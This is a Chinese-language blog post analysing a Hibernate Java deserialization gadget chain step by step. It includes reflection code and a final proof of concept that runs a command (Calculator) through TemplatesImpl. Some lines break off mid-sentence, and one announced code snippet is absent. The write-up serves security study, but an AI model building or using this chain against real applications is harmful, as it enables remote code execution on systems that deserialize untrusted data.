java反序列化漏洞-金蛇剑之hibernate(上)

b5mali4 / 2018-02-07 00:51:45 / 浏览数 3995 技术文章 技术文章 顶(1) 踩(0)

前言:

金蛇剑:此剑金光灿烂形状奇特，剑身犹如是一条蛇盘曲而成。蛇尾构成剑尖蛇头藏与剑柄，握在手中甚是沉重，原是由黄金铸造而成。此剑形状甚是奇特，整柄剑就如是一条

主角:

hibernate

介绍:

Hibernate是一个开放源代码的对象关系映射框架，它对JDBC进行了非常轻量级的对象封装，它将POJO与数据库表建立映射关系，是一个全自动的orm框架，hibernate可以
web程序员必备面试宝典,ssh(spring+struts2+hibernate)，当年笔者上javaweb课时，老师安利ssh,可见hibernate当年影响力多大。今天笔者跟着大家一起来学习分析hib

正文:

全局搜索了下关键字invoke,发现调用的地方很多。其中org.hibernate.property.BasicPropertyAccessor中BasicGetter类中get函数中调用了此函数，后面构造分析的poc都

根据前几篇的分析，我们大致有了思路。看能不能借助
Xalan'sTemplatesImpl的_bytecodes字段来new一个evil类，或者是借助JdbcRowSetImpl,JNDIConnectionPool来做JNDI绑定(绑定这个词我也不知道恰不恰当)。

org.hibernate.engine.spi.TypedValue.TypedValue.readObject()->org.hibernate.engine.spi.TypedValue.initTransients()->org.hibernate.type.ComponentType.get
首先先看BasicGetter类，其构造函数中需要指定3个参数,class,method,propertyName

有如下大致思路，将method指定为getOutputProperties,然后将target传入一个TemplatesImpl对象。其中调用的地方如下:
org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()

还需要利用反射区构造一个Getter数组，并且将BasicGetter放至在该数组中。代码如下:

```
Class<?> getter = Class.forName("org.hibernate.property.Getter");
Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor<?> bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
bgCon.setAccessible(true);
Object g = bgCon.newInstance(tplClass, tplClass.getDeclaredMethod(method), "demo");
Object array = Array.newInstance(getter,1);
Array.set(array,0, basicGetter);
```

由于AbstractComponentTuplizer是抽象类，不能直接newInstance(),所以要找到AbstractComponentTuplizer的子类，有很多，比如PojoComponentTuplizer。下一步
getters。可以采用如下方式调用:
(错误)

```
PojoComponentTuplizer pojoComponentTuplizer = Tool.createWithoutConstructor(PojoComponentTuplizer.class);
Tool.setFieldValue(pojoComponentTuplizer, "getters", getters);
```

(正确)

```
PojoComponentTuplizer pojoComponentTuplizer = Tool.createWithoutConstructor(PojoComponentTuplizer.class);
Tool.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
```

一步一步来，根据调用链可知，下一步需要构造一个ComponentType,
ComponentType.getPropertyValue函数如下:

```
public Object getPropertyValue(Object component, int i)
 throws HibernateException {
  if ( component instanceof Object[] ) {
     // A few calls to hashCode pass the property values already in an
     // Object[] (ex: QueryKey hash codes for cached queries).
     // It's easiest to just check for the condition here prior to
     // trying reflection.
     return (( Object[] ) component)[i];
  } else {
     return componentTuplizer.getPropertyValue( component, i );
  }
}
```

ComponentType componentType = (ComponentType)Tool.getFirstCtor("org.hibernate.type.ComponentType").newInstance();
Tool.setFieldValue(componentType, "componentTuplizer", pojoComponentTuplizer);
这里需要给propertySpan赋值，因为在getHashCode中，有个执行getPropertyValue的先决条件。

执行一个任意大于0的数字即可。
最后一步中的TypedValue只有两个字段，type和value，分别指向
method.invoke(target, (Object[]) null)中的method
和target，分别是TemplatesImpl.getOutputProperties和TemplatesImpl实体,TypedValue其部分关键代码如下:

最终构造poc如下:

```
String command = "Applications/Calculator.app/Contents/MacOS/Calculator";
Object tpl = Gadgets.createTemplatesImpl(command);
Object getters = makeBasicGetter(tpl.getClass(), "getOutputProperties");
PojoComponentTuplizer pojoComponentTuplizer = Tool.createWithoutConstructor(PojoComponentTuplizer.class);
Tool.getField(AbstractComponentTuplizer.class, "getters").set(pojoComponentTuplizer, getters);
ComponentType componentType = (ComponentType)Tool.getFirstCtor("org.hibernate.type.ComponentType").newInstance();
Tool.setFieldValue(componentType, "componentTuplizer", pojoComponentTuplizer);
Tool.setFieldValue(componentType, "propertySpan", 10);
TypedValue typedValue = (TypedValue)Tool.getFirstCtor("org.hibernate.engine.spi.TypedValue").newInstance();
Tool.setFieldValue(typedValue, "type", componentType);
Tool.setFieldValue(typedValue, "value", tpl);
```

回顾下整个执行过程如下

org.hibernate.engine.spi.TypedValue.TypedValue.readObject()->org.hibernate.engine.spi.TypedValue.initTransients()->org.hibernate.type.ComponentType.get

总结

整个执行链相对来说还是很复杂的，构造的时候需要一步一步耐心细心的分析，下一次单独讲讲出了利用TemplatesImpl之外，怎么利用JdbcRowSetImpl吧。